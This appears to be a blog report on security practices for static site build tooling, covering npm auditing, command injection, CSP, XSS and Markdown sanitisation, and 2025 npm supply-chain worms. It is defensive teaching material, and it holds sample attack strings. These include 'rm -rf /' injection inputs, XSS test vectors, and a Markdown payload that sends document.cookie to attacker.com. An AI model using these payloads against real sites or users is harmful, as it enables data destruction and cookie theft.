Static Site Security Best Practices Report

· combray's blog


November 30, 2025 #

Executive Summary #

This report provides comprehensive security guidance for static site generators and build tooling based on current 2024-2025 best practices. It covers dependency security, build script safety, content security policies, XSS prevention, markdown rendering security, and supply chain protection. The recommendations are informed by recent security incidents including the Shai-Hulud worm attack (September 2025) which compromised 18 widely-used npm packages with over 2.6 billion weekly downloads.


1. Dependency Security and npm Audit Practices #

Overview #

npm audit is a critical tool for identifying known vulnerabilities in project dependencies. However, it has limitations and should be part of a comprehensive security strategy rather than the sole defense mechanism.

Core npm Audit Commands #

Best Practices #

1. Use npm ci in Production Environments #

Always use npm ci instead of npm install in CI/CD pipelines and production deployments. This ensures:

Implementation:

1# In CI/CD pipelines
2npm ci --only=production
3
4# Avoid in production
5npm install  # Can install different versions than lockfile

2. Integrate Regular Audits into CI/CD #

Embed security audits into your continuous integration workflow to catch vulnerabilities early:

1# Example GitHub Actions workflow
2- name: Security Audit
3  run: npm audit --audit-level=high

Audit Levels:

3. Handle npm audit fix Carefully #

When running npm audit fix:

Important Note: npm audit fix analyzes both package.json and package-lock.json, scanning all dependencies including sub-dependencies. It uses semantic versioning constraints to automatically resolve issues where possible.

4. Dependency Update Strategy #

5. Lock File Management #

Critical Security Practice: Properly manage lock files to prevent supply chain attacks.

1// package.json - Add this to .npmrc for team consistency
2{
3  "engines": {
4    "npm": ">=8.0.0"
5  }
6}

Lock File Security:

Common Issue: NPM has known issues with lock file integrity changes across different:

Solution: Standardize development environments using .nvmrc or mise.toml.

6. Handle Outdated and Unmaintained Packages #

When a package no longer receives security updates:

1// Use overrides in package.json (npm 8.3+)
2{
3  "overrides": {
4    "vulnerable-package": "^3.0.0"
5  }
6}

Alternative strategies:

7. Monitor Security Advisories #

8. Additional Security Tools #

Beyond npm audit, consider:

9. Verify Package Provenance (2025 Update) #

npm now supports provenance attestations:

Publishing with provenance:

1npm publish --provenance

10. NPM Token Security (2025 Update) #

Important: Legacy npm tokens were sunset at the end of 2025. Use Granular Access Tokens:

Limitations to Understand #

npm audit has important limitations:

Defense in Depth: Use multiple complementary tools and strategies.


2. execSync/child_process Security Concerns #

Critical Vulnerabilities (2024-2025) #

CVE-2024-27980 (High Severity) #

Description: Command injection vulnerability via args parameter of child_process.spawn without shell option on Windows.

Affected Versions: All Windows users in active release lines (18.x, 20.x, 21.x)

Impact: An incomplete fix for the "BatBadBut" vulnerability that arises from improper handling of batch files with all possible extensions on Windows.

Breaking Change: Node.js now errors with EINVAL if a .bat or .cmd file is passed to spawn/spawnSync without the shell option set. If input is sanitized, you can use { shell: true } to prevent errors.

CRITICAL WARNING: Do not use --security-revert=CVE-2024-27980 to bypass this fix. It is strongly advised against.

Command Injection Attack Vectors #

Command injection vulnerabilities manifest when untrusted user input is sent to an interpreter as part of a command or query. Attackers can:

Common Attack Patterns:

1// DANGEROUS - User input in exec
2const { exec } = require('child_process');
3const userInput = req.query.filename; // e.g., "file.txt; rm -rf /"
4exec(`cat ${userInput}`, callback); // VULNERABLE!
5
6// Attack chains using: ; & | || $() < > >>

Secure Alternatives and Best Practices #

1. Use execFile Instead of exec/execSync #

Recommended Approach:

 1const { execFile } = require('child_process');
 2
 3// SAFE - execFile does not spawn a shell
 4execFile('ls', ['-lh', userProvidedPath], (error, stdout) => {
 5  if (error) {
 6    console.error('Error:', error);
 7    return;
 8  }
 9  console.log(stdout);
10});

execFile helps prevent arbitrary shell commands from being executed and is the recommended defense.

2. Use spawn with Arguments Array #

1const { spawn } = require('child_process');
2
3// SAFE - Arguments passed as array, not string
4const child = spawn('grep', [userInput], {
5  cwd: '/safe/directory',
6  env: { PATH: '/usr/bin' } // Restricted PATH
7});

3. Never Pass Unsanitized Input to exec/execSync #

1// DANGEROUS
2const { execSync } = require('child_process');
3execSync(`git commit -m "${userMessage}"`); // VULNERABLE!
4
5// BETTER - But still risky
6const { execFileSync } = require('child_process');
7execFileSync('git', ['commit', '-m', userMessage]);

4. Input Validation and Allowlisting #

Use strict allowlisting:

 1function validateFilename(filename) {
 2  // Only allow alphanumeric, dash, underscore, dot
 3  if (!/^[a-zA-Z0-9._-]+$/.test(filename)) {
 4    throw new Error('Invalid filename');
 5  }
 6  return filename;
 7}
 8
 9const safeFilename = validateFilename(userInput);
10execFile('cat', [safeFilename], callback);

5. Avoid Shell Invocation #

 1// BAD - Shell is spawned
 2exec('ls -la', callback);
 3
 4// GOOD - No shell spawned
 5execFile('ls', ['-la'], callback);
 6
 7// BAD - Shell option enabled
 8spawn('ls', ['-la'], { shell: true });
 9
10// GOOD - No shell
11spawn('ls', ['-la']);

6. Proper Quote Escaping (If Shell Is Unavoidable) #

Note: Wrapping in single quotes is NOT sufficient protection. Node.js lacks proper shell-escaping mechanisms.

1// STILL VULNERABLE
2exec(`cat '${userInput}'`); // Can be bypassed with: file.txt' ; rm -rf / ; echo '
3
4// If you must use shell, consider shell-escape library
5const shellescape = require('shell-escape');
6const escaped = shellescape([userInput]);
7exec(`cat ${escaped}`, callback);

ESLint Security Rules #

Enable security linting to catch dangerous patterns:

1// .eslintrc.js
2module.exports = {
3  plugins: ['security'],
4  rules: {
5    'security/detect-child-process': 'error',
6    'security/detect-non-literal-fs-filename': 'error'
7  }
8};

Build Script Security Checklist #

For static site generators and build tools:


3. Input Validation in Build Scripts #

Core Principles #

Input validation should be part of a defense-in-depth strategy, serving as one layer among others such as parameterized statements and output encoding.

Best Practices for Build Scripts #

1. Client and Server-Side Validation #

While build scripts don't have traditional "client/server," apply this principle:

 1// Build script example
 2import Joi from 'joi';
 3
 4const configSchema = Joi.object({
 5  outputDir: Joi.string().pattern(/^[a-zA-Z0-9/_-]+$/).required(),
 6  baseUrl: Joi.string().uri().required(),
 7  enableAnalytics: Joi.boolean().default(false)
 8});
 9
10const { error, value: config } = configSchema.validate(process.env);
11if (error) {
12  throw new Error(`Invalid configuration: ${error.message}`);
13}

2. Allowlisting Over Denylisting #

Allowlisting (defining exactly what IS authorized) is far superior to denylisting (blocking known-bad patterns).

Why denylisting fails:

 1// DANGEROUS - Easily bypassed
 2function denylistValidation(input) {
 3  if (input.includes("'") || input.includes('<script>')) {
 4    throw new Error('Invalid input');
 5  }
 6  return input; // Still vulnerable to: <img src=x onerror=alert(1)>
 7}
 8
 9// BETTER - Allowlist approach
10function allowlistValidation(input) {
11  if (!/^[a-zA-Z0-9-_]+$/.test(input)) {
12    throw new Error('Input contains invalid characters');
13  }
14  return input;
15}

Use allowlisting for:

3. Centralize Validation Logic #

Create reusable validation functions:

 1// validators.js
 2export const validators = {
 3  isValidPath(path) {
 4    // No directory traversal
 5    if (path.includes('..') || path.startsWith('/')) {
 6      return false;
 7    }
 8    // Only safe characters
 9    return /^[a-zA-Z0-9/_.-]+$/.test(path);
10  },
11
12  isValidSlug(slug) {
13    return /^[a-z0-9-]+$/.test(slug);
14  },
15
16  isValidUrl(url) {
17    try {
18      const parsed = new URL(url);
19      return ['http:', 'https:'].includes(parsed.protocol);
20    } catch {
21      return false;
22    }
23  }
24};
25
26// Use in build scripts
27import { validators } from './validators.js';
28
29if (!validators.isValidPath(outputPath)) {
30  throw new Error('Invalid output path');
31}

4. Schema Validation #

Use JSON schema validation for structured data:

 1import Ajv from 'ajv';
 2
 3const ajv = new Ajv();
 4
 5const schema = {
 6  type: 'object',
 7  properties: {
 8    title: { type: 'string', maxLength: 100 },
 9    slug: { type: 'string', pattern: '^[a-z0-9-]+$' },
10    publishDate: { type: 'string', format: 'date' }
11  },
12  required: ['title', 'slug'],
13  additionalProperties: false // Reject unknown properties
14};
15
16const validate = ajv.compile(schema);
17
18function validateFrontmatter(data) {
19  if (!validate(data)) {
20    throw new Error(`Invalid frontmatter: ${ajv.errorsText(validate.errors)}`);
21  }
22  return data;
23}

5. File System Safety #

Critical for build scripts:

 1import path from 'path';
 2import fs from 'fs/promises';
 3
 4async function safeReadFile(userPath, baseDir) {
 5  // Resolve to absolute path
 6  const resolvedPath = path.resolve(baseDir, userPath);
 7
 8  // Ensure path is within baseDir (prevent directory traversal)
 9  if (!resolvedPath.startsWith(baseDir)) {
10    throw new Error('Path traversal attempt detected');
11  }
12
13  // Verify file exists and is a file (not directory/symlink)
14  const stats = await fs.stat(resolvedPath);
15  if (!stats.isFile()) {
16    throw new Error('Not a regular file');
17  }
18
19  return fs.readFile(resolvedPath, 'utf-8');
20}

6. Environment Variable Validation #

 1// Validate required environment variables
 2const requiredEnvVars = ['NODE_ENV', 'BASE_URL'];
 3
 4for (const varName of requiredEnvVars) {
 5  if (!process.env[varName]) {
 6    throw new Error(`Missing required environment variable: ${varName}`);
 7  }
 8}
 9
10// Validate values
11const validNodeEnvs = ['development', 'production', 'test'];
12if (!validNodeEnvs.includes(process.env.NODE_ENV)) {
13  throw new Error(`Invalid NODE_ENV: ${process.env.NODE_ENV}`);
14}

7. Static Code Analysis #

Use static analysis tools to detect security issues:

 1// package.json
 2{
 3  "scripts": {
 4    "lint:security": "eslint --plugin security .",
 5    "prebuild": "npm run lint:security"
 6  },
 7  "devDependencies": {
 8    "eslint-plugin-security": "^2.1.0"
 9  }
10}

Recommended tools:

Attacks Prevented by Proper Input Validation #

When implemented correctly, input validation provides immunity from:


4. Content Security Policy for Static Sites #

Overview #

Content Security Policy (CSP) provides defense-in-depth by serving as an effective second layer of protection against XSS and other vulnerabilities. For static sites, CSP implementation differs from dynamic applications.

Hash-Based CSP for Static Sites #

Recommended approach for static content:

Hash-based CSP works best when content never changes. Unlike nonces, both the CSP and content can be static because hashes stay the same.

How it works:

  1. Compute SHA-256 hash of each inline script
  2. Add hashes to CSP header
  3. Browser verifies script content matches hash before execution

Example:

1<!-- index.html -->
2<script>
3  console.log('Hello, world!');
4</script>

Generate hash:

1echo -n "console.log('Hello, world!');" | openssl dgst -sha256 -binary | openssl base64
2# Output: qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=

CSP header:

Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng='

Important: Hashes are fragile. Changing anything inside the script tag (even whitespace) breaks the hash.

Nonce-Based CSP (Not Ideal for Static Sites) #

Nonce-based CSP requires server-side generation of unique random values per request. This means:

When to use nonces: Server-side rendered or edge-rendered static sites (Cloudflare Workers, Netlify Edge Functions).

Strict CSP Best Practices (2025) #

Modern CSP emphasizes "strict" policies using nonces or hashes rather than legacy domain allowlisting.

Recommended strict policy:

Content-Security-Policy:
  script-src 'sha256-{HASH}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';

Key directives:

Implementation Methods for Static Sites #

Method 1: HTTP Headers (Preferred) #

Configure at CDN/hosting level:

Netlify (_headers file):

/*
  Content-Security-Policy: script-src 'sha256-ABC123...' 'sha256-DEF456...'; object-src 'none'; base-uri 'none'

Cloudflare Pages (_headers):

/*
  Content-Security-Policy: script-src 'sha256-ABC123...' 'strict-dynamic'; object-src 'none'

GitHub Pages (not supported) - Use meta tag instead.

Method 2: Meta Tags (Limited Features) #

1<meta http-equiv="Content-Security-Policy"
2      content="script-src 'sha256-ABC123...'; object-src 'none'">

Limitations of meta tags:

When to use: Client-side rendered SPAs with only static resources, or platforms without header control.

Method 3: Automated Hash Generation #

Build-time hash injection for static sites:

 1// build-csp.js
 2import crypto from 'crypto';
 3import fs from 'fs/promises';
 4import { parse } from 'node-html-parser';
 5
 6async function generateCSP(htmlPath) {
 7  const html = await fs.readFile(htmlPath, 'utf-8');
 8  const root = parse(html);
 9
10  const scriptHashes = root.querySelectorAll('script')
11    .filter(script => !script.getAttribute('src')) // Only inline scripts
12    .map(script => {
13      const content = script.textContent;
14      const hash = crypto.createHash('sha256')
15        .update(content, 'utf-8')
16        .digest('base64');
17      return `'sha256-${hash}'`;
18    });
19
20  const csp = `script-src ${scriptHashes.join(' ')} 'strict-dynamic'; object-src 'none'; base-uri 'none'`;
21
22  return csp;
23}

Subresource Integrity (SRI) for Static Sites #

Even fully static sites benefit from CSP for enforcing Subresource Integrity on third-party resources:

1<script
2  src="https://cdn.example.com/library.js"
3  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
4  crossorigin="anonymous">
5</script>

CSP enforcement:

Content-Security-Policy: require-sri-for script style;

Note: require-sri-for is deprecated in favor of require-trusted-types-for, but still supported.

Report-Only Mode #

Test CSP without breaking functionality:

Content-Security-Policy-Report-Only: script-src 'sha256-ABC...'; report-uri /csp-report

Benefits:

Legacy Header Deprecation #

DO NOT USE:

These have limited implementations and are no longer maintained.

CSP for Static Site Generators #

Astro example:

 1// astro.config.mjs
 2export default {
 3  vite: {
 4    plugins: [
 5      {
 6        name: 'csp-hash-generator',
 7        transformIndexHtml(html) {
 8          // Generate hashes and inject CSP meta tag
 9        }
10      }
11    ]
12  }
13};

Eleventy example:

1// .eleventy.js
2module.exports = function(eleventyConfig) {
3  eleventyConfig.addTransform('csp', async (content, outputPath) => {
4    if (outputPath.endsWith('.html')) {
5      // Calculate hashes and inject CSP
6    }
7    return content;
8  });
9};

Important Limitations #

CSP is defense-in-depth, not a replacement for secure development:


5. XSS Prevention in Static Sites #

Overview #

Cross-Site Scripting (XSS) remains a critical threat in 2025, evolving with advanced techniques and AI integration. Static sites are NOT immune to XSS - DOM-based XSS attacks are still possible through JavaScript execution.

XSS in Static Sites: The Reality #

Common misconception: "Static sites can't have XSS because there's no server-side rendering."

Reality: XSS is absolutely possible on static sites using DOM-based attacks:

1// VULNERABLE static site code
2const params = new URLSearchParams(window.location.search);
3const username = params.get('name');
4document.getElementById('greeting').innerHTML = `Hello, ${username}!`;
5
6// Attack: https://example.com/?name=<img src=x onerror=alert(1)>

Types of XSS in Static Sites #

1. DOM-Based XSS #

JavaScript directly manipulates the DOM with untrusted data:

1// VULNERABLE
2element.innerHTML = userInput;
3document.write(userInput);
4eval(userInput);
5location.href = userInput;
6
7// SAFE
8element.textContent = userInput; // Treats as text, not HTML
9element.setAttribute('data-value', userInput);

2. Third-Party Script XSS #

Compromised CDN or third-party scripts:

1<!-- If cdn.example.com is compromised, your site is vulnerable -->
2<script src="https://cdn.example.com/analytics.js"></script>

Mitigation: Use Subresource Integrity (SRI) - see Section 6.

3. Client-Side Template Injection #

Static site generators using client-side templating:

1// VULNERABLE - Client-side Markdown/template rendering
2const markdown = params.get('content');
3const html = markdownToHtml(markdown); // If not sanitized
4container.innerHTML = html;

XSS Prevention Best Practices #

1. Use Safe DOM APIs #

Prefer safe sinks:

 1// SAFE APIs
 2element.textContent = userInput;      // Always safe
 3element.setAttribute('name', value);  // Safe for most attributes
 4element.className = userInput;        // Safe
 5element.value = userInput;            // Safe for form inputs
 6
 7// UNSAFE APIs - Avoid or sanitize first
 8element.innerHTML = userInput;        // DANGEROUS
 9element.outerHTML = userInput;        // DANGEROUS
10document.write(userInput);            // DANGEROUS
11element.insertAdjacentHTML('beforeend', userInput); // DANGEROUS

2. Context-Aware Output Encoding #

Different contexts require different encoding:

HTML Context:

 1function encodeHTML(str) {
 2  return str
 3    .replace(/&/g, '&amp;')
 4    .replace(/</g, '&lt;')
 5    .replace(/>/g, '&gt;')
 6    .replace(/"/g, '&quot;')
 7    .replace(/'/g, '&#x27;');
 8}
 9
10// Usage
11element.innerHTML = `<div>${encodeHTML(userInput)}</div>`;

JavaScript Context:

1// Only in quoted strings!
2function encodeJS(str) {
3  return str.replace(/[\u0000-\u001F\u007F-\u009F]/g, (char) => {
4    return '\\u' + ('0000' + char.charCodeAt(0).toString(16)).slice(-4);
5  });
6}
7
8// Usage
9const script = `const name = "${encodeJS(userInput)}";`;

URL Context:

1// For URL parameters only
2const encoded = encodeURIComponent(userInput);
3const url = `https://example.com/search?q=${encoded}`;

CSS Context:

1// Only in property values, use hex encoding
2function encodeCSS(str) {
3  return str.replace(/[^a-zA-Z0-9]/g, (char) => {
4    return '\\' + char.charCodeAt(0).toString(16) + ' ';
5  });
6}

3. Leverage Framework Protections #

Modern frameworks provide built-in XSS protection:

React:

1// SAFE - React auto-escapes
2<div>{userInput}</div>
3
4// DANGEROUS - Bypasses protection
5<div dangerouslySetInnerHTML={{__html: userInput}} />

Vue:

1<!-- SAFE - Vue auto-escapes -->
2<div>{{ userInput }}</div>
3
4<!-- DANGEROUS - Renders raw HTML -->
5<div v-html="userInput"></div>

Svelte:

1<!-- SAFE -->
2<div>{userInput}</div>
3
4<!-- DANGEROUS -->
5<div>{@html userInput}</div>

Framework limitations: No framework is perfect. Security gaps exist even in React and Angular. Never rely solely on framework protection.

4. HTML Sanitization #

When you must allow HTML input (e.g., rich text editors):

 1import DOMPurify from 'dompurify';
 2
 3// SAFE - DOMPurify removes malicious code
 4const dirty = '<img src=x onerror=alert(1)>';
 5const clean = DOMPurify.sanitize(dirty);
 6element.innerHTML = clean; // Safe
 7
 8// Configure for specific needs
 9const clean = DOMPurify.sanitize(dirty, {
10  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
11  ALLOWED_ATTR: ['href']
12});

Critical: Sanitize at the point of rendering, not just on form submission. If HTML is modified after sanitization, it may no longer be safe.

5. Content Security Policy #

Implement strict CSP as additional layer (see Section 4):

Content-Security-Policy:
  script-src 'self' 'sha256-...';
  object-src 'none';
  base-uri 'none';

CSP aims to mitigate XSS impact. If an XSS vulnerability exists, CSP can hinder or prevent exploitation.

6. Avoid Dangerous Patterns #

Never do this:

 1// NEVER use eval with user input
 2eval(userInput);
 3
 4// NEVER use Function constructor with user input
 5new Function(userInput)();
 6
 7// NEVER use setTimeout/setInterval with strings
 8setTimeout(userInput, 1000);
 9
10// NEVER use document.write
11document.write(userInput);
12
13// NEVER use location.href with unvalidated input
14location.href = userInput; // Can be javascript: URL

Safe alternatives:

1// Instead of location.href = userInput
2const url = new URL(userInput, window.location.origin);
3if (url.protocol === 'http:' || url.protocol === 'https:') {
4  location.href = url.href;
5}

Static Site Generator Specific Guidance #

Build-Time XSS Prevention #

Even build scripts can introduce XSS:

1// VULNERABLE build script
2const title = frontmatter.title;
3const html = `<title>${title}</title>`; // If title is malicious
4
5// SAFE build script
6import { escape } from 'html-escaper';
7const html = `<title>${escape(frontmatter.title)}</title>`;

Markdown Rendering Security #

See Section 6 for detailed guidance on secure Markdown rendering.

Testing for XSS #

Static analysis:

 1npm install --save-dev eslint eslint-plugin-no-unsanitized
 2
 3# .eslintrc.js
 4{
 5  "plugins": ["no-unsanitized"],
 6  "rules": {
 7    "no-unsanitized/method": "error",
 8    "no-unsanitized/property": "error"
 9  }
10}

Manual testing payloads:

 1// Common XSS test vectors
 2const testVectors = [
 3  '<script>alert(1)</script>',
 4  '<img src=x onerror=alert(1)>',
 5  'javascript:alert(1)',
 6  '<svg onload=alert(1)>',
 7  '"><script>alert(1)</script>',
 8  "'-alert(1)-'",
 9  '<iframe src="javascript:alert(1)">',
10];

Modern XSS attacks increasingly use:

Defense: Combine multiple layers - input validation, output encoding, CSP, and continuous security testing.


6. Secure Handling of External Content (Markdown Rendering) #

Overview #

Markdown may seem safe due to its plain text formatting, but naive implementations can lead to severe XSS vulnerabilities. When Markdown is converted to HTML, there's risk of malicious code execution if it includes embedded HTML or JavaScript.

The Markdown Security Challenge #

Key insight: Showing user-generated content to other users always carries risk. Markdown is no exception.

Vulnerability example:

 1# Innocent Looking Title
 2
 3Click [here](javascript:alert(document.cookie))
 4
 5<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
 6
 7<script>
 8  // Malicious code
 9  steal_credentials();
10</script>

DOMPurify: The Gold Standard #

DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML, and SVG, developed by Cure53 (reputable security consultancy).

Current Version: v3.3.0 (as of 2024)

Key features:

Using DOMPurify with Markdown Libraries #

Marked.js + DOMPurify #

The Marked team has stated that sanitization doesn't belong in core Marked (it's not part of Markdown specs).

Recommended pattern:

 1import { marked } from 'marked';
 2import DOMPurify from 'dompurify';
 3
 4function renderMarkdown(markdown) {
 5  // Step 1: Convert Markdown to HTML
 6  const rawHtml = marked.parse(markdown);
 7
 8  // Step 2: Sanitize HTML
 9  const cleanHtml = DOMPurify.sanitize(rawHtml);
10
11  // Step 3: Insert into DOM
12  element.innerHTML = cleanHtml;
13}

Using safe-marked library:

1import { SafeMarked } from 'safe-marked';
2
3// Automatically combines marked + DOMPurify
4const safeHtml = SafeMarked.parse(markdown);

markdown-it + DOMPurify #

 1import MarkdownIt from 'markdown-it';
 2import DOMPurify from 'dompurify';
 3
 4const md = new MarkdownIt({
 5  html: true, // Allow HTML in Markdown
 6  linkify: true,
 7  typographer: true
 8});
 9
10function renderMarkdown(markdown) {
11  const rawHtml = md.render(markdown);
12  const cleanHtml = DOMPurify.sanitize(rawHtml);
13  return cleanHtml;
14}

React + Markdown #

 1import React, { useMemo } from 'react';
 2import { marked } from 'marked';
 3import DOMPurify from 'dompurify';
 4
 5function MarkdownContent({ markdown }) {
 6  const sanitizedHtml = useMemo(() => {
 7    const rawHtml = marked.parse(markdown);
 8    return DOMPurify.sanitize(rawHtml);
 9  }, [markdown]);
10
11  return <div dangerouslySetInnerHTML={{ __html: sanitizedHtml }} />;
12}

Better: Use react-markdown (no HTML by default):

1import ReactMarkdown from 'react-markdown';
2
3function MarkdownContent({ markdown }) {
4  return (
5    <ReactMarkdown>
6      {markdown}
7    </ReactMarkdown>
8  );
9}

If HTML is needed:

 1import ReactMarkdown from 'react-markdown';
 2import rehypeRaw from 'rehype-raw';
 3import rehypeSanitize from 'rehype-sanitize';
 4
 5function MarkdownContent({ markdown }) {
 6  return (
 7    <ReactMarkdown
 8      rehypePlugins={[rehypeRaw, rehypeSanitize]}
 9    >
10      {markdown}
11    </ReactMarkdown>
12  );
13}

DOMPurify Configuration #

Basic Sanitization #

1// Default (secure)
2const clean = DOMPurify.sanitize(dirty);
3
4// Remove all HTML tags, keep text only
5const clean = DOMPurify.sanitize(dirty, {
6  ALLOWED_TAGS: []
7});

Allow Specific Tags and Attributes #

1const clean = DOMPurify.sanitize(dirty, {
2  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
3  ALLOWED_ATTR: ['href', 'title']
4});

Forbid Specific Tags #

1const clean = DOMPurify.sanitize(dirty, {
2  FORBID_TAGS: ['style', 'form', 'input'],
3  FORBID_ATTR: ['onerror', 'onload']
4});

Return DOM Instead of String #

1const cleanDOM = DOMPurify.sanitize(dirty, {
2  RETURN_DOM: true
3});
4container.appendChild(cleanDOM);

Hooks for Custom Processing #

1DOMPurify.addHook('afterSanitizeAttributes', (node) => {
2  // Force all links to open in new tab
3  if (node.tagName === 'A') {
4    node.setAttribute('target', '_blank');
5    node.setAttribute('rel', 'noopener noreferrer');
6  }
7});
8
9const clean = DOMPurify.sanitize(dirty);

Best Practices for Markdown Rendering #

1. Always Sanitize Before DOM Insertion #

1// WRONG - Sanitize too early
2const clean = DOMPurify.sanitize(userInput);
3// ... later, HTML is modified ...
4element.innerHTML = clean; // No longer safe!
5
6// RIGHT - Sanitize just before insertion
7const html = processMarkdown(userInput);
8const clean = DOMPurify.sanitize(html);
9element.innerHTML = clean; // Safe

2. Disable HTML in Markdown (If Possible) #

Most Markdown libraries allow disabling HTML:

 1// Marked
 2marked.setOptions({
 3  mangle: false,
 4  headerIds: false,
 5  sanitize: false, // We'll use DOMPurify
 6  html: false // Disable HTML in Markdown
 7});
 8
 9// markdown-it
10const md = new MarkdownIt({
11  html: false // Disable HTML tags
12});

3. Combine with Content Security Policy #

Layer CSP on top of sanitization:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  object-src 'none';

4. Validate Markdown Source #

If accepting Markdown from users, validate before storage:

 1function validateMarkdown(markdown) {
 2  // Check length
 3  if (markdown.length > 100000) {
 4    throw new Error('Markdown too long');
 5  }
 6
 7  // Check for suspicious patterns
 8  const suspiciousPatterns = [
 9    /<script/i,
10    /javascript:/i,
11    /on\w+=/i, // Event handlers
12    /<iframe/i,
13    /<object/i,
14    /<embed/i
15  ];
16
17  for (const pattern of suspiciousPatterns) {
18    if (pattern.test(markdown)) {
19      // Log for monitoring
20      console.warn('Suspicious pattern in Markdown:', pattern);
21    }
22  }
23
24  return markdown;
25}

5. Server-Side Sanitization (If Applicable) #

For SSG that processes Markdown at build time:

 1// build-time sanitization
 2import { marked } from 'marked';
 3import { JSDOM } from 'jsdom';
 4import createDOMPurify from 'dompurify';
 5
 6const window = new JSDOM('').window;
 7const DOMPurify = createDOMPurify(window);
 8
 9export function renderMarkdownSafely(markdown) {
10  const rawHtml = marked.parse(markdown);
11  return DOMPurify.sanitize(rawHtml);
12}

Security Considerations #

DOM Clobbering #

Real vulnerability from 2024 CTF:

Even with DOMPurify, DOM clobbering is possible:

1<!-- DOMPurify allows id attributes -->
2<a id="isSafe"></a>
3
4<script>
5// window.isSafe now refers to the <a> element
6if (window.isSafe) { // Always true!
7  // Execute code
8}
9</script>

Mitigation:

1const clean = DOMPurify.sanitize(dirty, {
2  FORBID_ATTR: ['id'] // Remove id attributes if not needed
3});

Sanitize link protocols:

 1DOMPurify.addHook('afterSanitizeAttributes', (node) => {
 2  if (node.tagName === 'A') {
 3    const href = node.getAttribute('href');
 4    if (href) {
 5      try {
 6        const url = new URL(href, window.location.origin);
 7        if (!['http:', 'https:', 'mailto:'].includes(url.protocol)) {
 8          node.removeAttribute('href');
 9        }
10      } catch {
11        node.removeAttribute('href');
12      }
13    }
14    // Add security attributes
15    node.setAttribute('rel', 'noopener noreferrer');
16  }
17});

Markdown Rendering Security Checklist #


7. Supply Chain Security for Frontend Projects #

Overview #

2025 has seen unprecedented supply chain attacks against the npm ecosystem. The Shai-Hulud worm and S1ngularity attacks compromised packages with billions of weekly downloads, exposing the critical importance of supply chain security.

Major 2025 Supply Chain Attacks #

Shai-Hulud Worm (September 2025) #

Timeline: September 8-14, 2025

Impact:

Attack Method:

  1. Phishing email compromised maintainer accounts
  2. Malicious releases published to popular packages (chalk, debug, ansi-styles)
  3. Post-install scripts stole npm tokens
  4. Worm used stolen tokens to compromise more packages

Capabilities:

S1ngularity (August 2025) #

Timeline: August 26, 2025

Impact:

Attack Method:

  1. Exploited vulnerable GitHub Actions workflow
  2. Stole npm publishing token
  3. Published malicious versions of Nx packages
  4. Post-install script (telemetry.js) scanned for credentials

Data Stolen:

Shai-Hulud 2.0 (November 2025) #

Timeline: Early November 2025 (ongoing)

Scope:

New Tactics:

Industry Response #

GitHub Actions:

npm Security Improvements:

CISA Recommendations:

Supply Chain Security Best Practices #

1. Dependency Pinning #

Lock file discipline:

1// package.json - Use exact versions for critical dependencies
2{
3  "dependencies": {
4    "critical-package": "3.2.1", // Exact version
5    "stable-package": "~2.1.0", // Patch updates only
6    "flexible-package": "^1.0.0" // Minor updates allowed
7  }
8}

Lock file integrity:

Why it matters: Red Hat's primary defense against 2025 attacks was "broad usage of version pinning."

2. Multi-Factor Authentication #

Critical requirement:

Enable phishing-resistant MFA on:

Best practices:

1# Enable 2FA for publishing
2npm profile enable-2fa auth-and-writes

3. Trusted Publishing (2025) #

Use OpenID Connect for publishing:

 1# .github/workflows/publish.yml
 2name: Publish to npm
 3on:
 4  release:
 5    types: [created]
 6
 7jobs:
 8  publish:
 9    runs-on: ubuntu-latest
10    permissions:
11      contents: read
12      id-token: write # Required for OIDC
13    steps:
14      - uses: actions/checkout@v4
15      - uses: actions/setup-node@v4
16        with:
17          node-version: '20.x'
18          registry-url: 'https://registry.npmjs.org'
19      - run: npm ci
20      - run: npm publish --provenance --access public
21        env:
22          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

Benefits:

4. Package Verification #

Before installing any package:

 1# Check package information
 2npm view package-name
 3
 4# Check weekly downloads
 5npm view package-name dist.downloads
 6
 7# Check repository
 8npm view package-name repository.url
 9
10# View maintainers
11npm view package-name maintainers
12
13# Check for provenance
14npm view package-name dist.attestations

Red flags:

5. Automated Security Scanning #

GitHub Advanced Security:

 1# .github/workflows/security.yml
 2name: Security Scan
 3on: [push, pull_request]
 4
 5jobs:
 6  dependency-review:
 7    runs-on: ubuntu-latest
 8    steps:
 9      - uses: actions/checkout@v4
10      - uses: actions/dependency-review-action@v3
11        with:
12          fail-on-severity: high

Socket.dev integration:

 1# .github/workflows/socket.yml
 2name: Socket Security
 3on: [pull_request]
 4
 5jobs:
 6  socket-security:
 7    runs-on: ubuntu-latest
 8    steps:
 9      - uses: actions/checkout@v4
10      - uses: socketdev/socket-security-action@v1
11        with:
12          token: ${{ secrets.SOCKET_TOKEN }}

Snyk integration:

 1# Install Snyk CLI
 2npm install -g snyk
 3
 4# Authenticate
 5snyk auth
 6
 7# Test for vulnerabilities
 8snyk test
 9
10# Monitor project
11snyk monitor

6. Install Script Protection #

Critical defense:

1# Globally disable install scripts
2npm config set ignore-scripts true
3
4# Or in .npmrc
5echo "ignore-scripts=true" >> .npmrc

For legitimate scripts:

1# Install @lavamoat/allow-scripts
2npm install --save-dev @lavamoat/allow-scripts
3
4# Generate allowlist
5npx allow-scripts auto

package.json configuration:

 1{
 2  "scripts": {
 3    "preinstall": "npx allow-scripts"
 4  },
 5  "lavamoat": {
 6    "allowScripts": {
 7      "trusted-package": true,
 8      "another-trusted": true
 9    }
10  }
11}

Why it matters: Shai-Hulud, S1ngularity, and Shai-Hulud 2.0 all used post-install scripts for malicious execution.

7. Software Bill of Materials (SBOM) #

Generate SBOM for visibility:

1# Using npm built-in
2npm sbom --format=cyclonedx > sbom.json
3
4# Using CycloneDX tool
5npx @cyclonedx/cyclonedx-npm --output-file sbom.json
6
7# Using Syft (multi-language)
8syft dir:. -o cyclonedx-json > sbom.json

SBOM management:

1# Track with OWASP Dependency-Track
2# Upload SBOM to central repository
